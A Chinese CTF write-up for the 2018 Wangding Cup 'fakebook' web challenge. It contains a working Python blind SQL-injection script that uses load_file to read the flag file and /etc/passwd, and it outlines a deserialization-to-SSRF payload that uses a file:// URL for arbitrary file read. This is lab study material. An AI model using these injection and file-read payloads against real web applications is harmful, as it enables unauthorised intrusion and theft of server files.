zoukankan      html  css  js  c++  java
  • [网鼎杯2018]fakebook题解

    首先注册一个账号,注意blog是一个http或https的链接的形式,否则将无法通过。

    点击用户名进入用户界面,根据页面内容,初步怀疑本题考查SSRF。不过由于不能使用file等协议,感觉应该需要在某处进行绕过。

    用户界面的url为http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=1,输入单引号发现报错。

    [*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
    Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66
    

    经过测试发现该页面做了一些过滤,但load_file没有被过滤,/etc/passwd文件可以读取到。接下来测试到flag的位置位于/var/www/html/flag.php。

    下面写了一个脚本来获取flag.php中的内容。

    import requests
    def exp(url_format,length=None):
        rlt = ''
        url  = url_format
        if length==None:
            length = 50
        for l in range(1,length+1):
            begin = 1
            ends = 126
            tmp = (begin+ends)//2
            while begin<ends:
                r = requests.get(url.format(l,tmp))
                #判断条件根据情况修改
                if b'http://www.baidu.com' in r.content:
                    begin = tmp+1
                    tmp = (begin+ends)//2 
                else:
                    ends = tmp
                    tmp = (begin+ends)//2
            rlt+=chr(tmp)
            print(rlt)
        return rlt.rstrip()
    url = "http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=elt(ord(substr(load_file(%27/var/www/html/flag.php%27),{},1))%3E{},1)"
    exp(url,400)
    
    
    

    其中核心的payload为

    elt(ord(substr(load_file('/var/www/html/flag.php'),?,1))>?,1)
    

    静静地等待几分钟得到了结果

    <?php
    $flag = "flag{98207bdb-3d8f-43df-9956-2211c9fa9b05}";
    exit(0);
    

    好像有什么不对,说好的SSRF呢???通过查看他人的题解,发现这个不是预期解,预期解是通过反序列化进行SSRF。接下来说说预期解怎么做。

    首先是发现了robots.txt中泄漏了/user.php.bak这个文件。

    该文件主要是生命了一个用户类,当调用get方法时会访问某个url得到信息,如果该url被恶意利用,比如利用file协议,就可以读取任意文件。

    <?php
    class UserInfo
    {
        public $name = "";
        public $age = 0;
        public $blog = "";
    
        public function __construct($name, $age, $blog)
        {
            $this->name = $name;
            $this->age = (int)$age;
            $this->blog = $blog;
        }
    
        function get($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $output = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if($httpCode == 404) {
                return 404;
            }
            curl_close($ch);
            return $output;
        }
        public function getBlogContents ()
        {
            return $this->get($this->blog);
        }
        public function isValidBlog ()
        {
            $blog = $this->blog;
            return preg_match("/^(((http(s?))://)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/S*)?$/i", $blog);
        }
    }
    

    接着在刚才的注入点,可以发现data字段

    data: O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:20:"http://www.baidu.com";}
    

    也就意味着view.php将查询到的结果进行了反序列化。所以可以在查询的时候构造一个反序列化字符串,将blog字段修改为file:///var/www/html/flag.php即可。

    关于具体的payload,大家可以参考其他文章,预期解网上多的是。

  • 相关阅读:
    并发编程之多线程(理论部分)
    基于TCP和UDP的socket
    ajax笔记 显示出所城市名称 ShowCity.aspx Html代码
    蒸饭的纱布
    ajax 笔记--不刷新实现简单的留言版 guestBook
    从表的第几条取到第几条记录
    在asp.net添加数据到XML里去
    ajax 笔记-- 写了一个不用刷新就能实现--用户名验证的例子
    今天生日
    ajax 笔记不用刷新实现数据的分页显示
  • 原文地址:https://www.cnblogs.com/kevinbruce656/p/12643338.html
Copyright © 2011-2022 走看看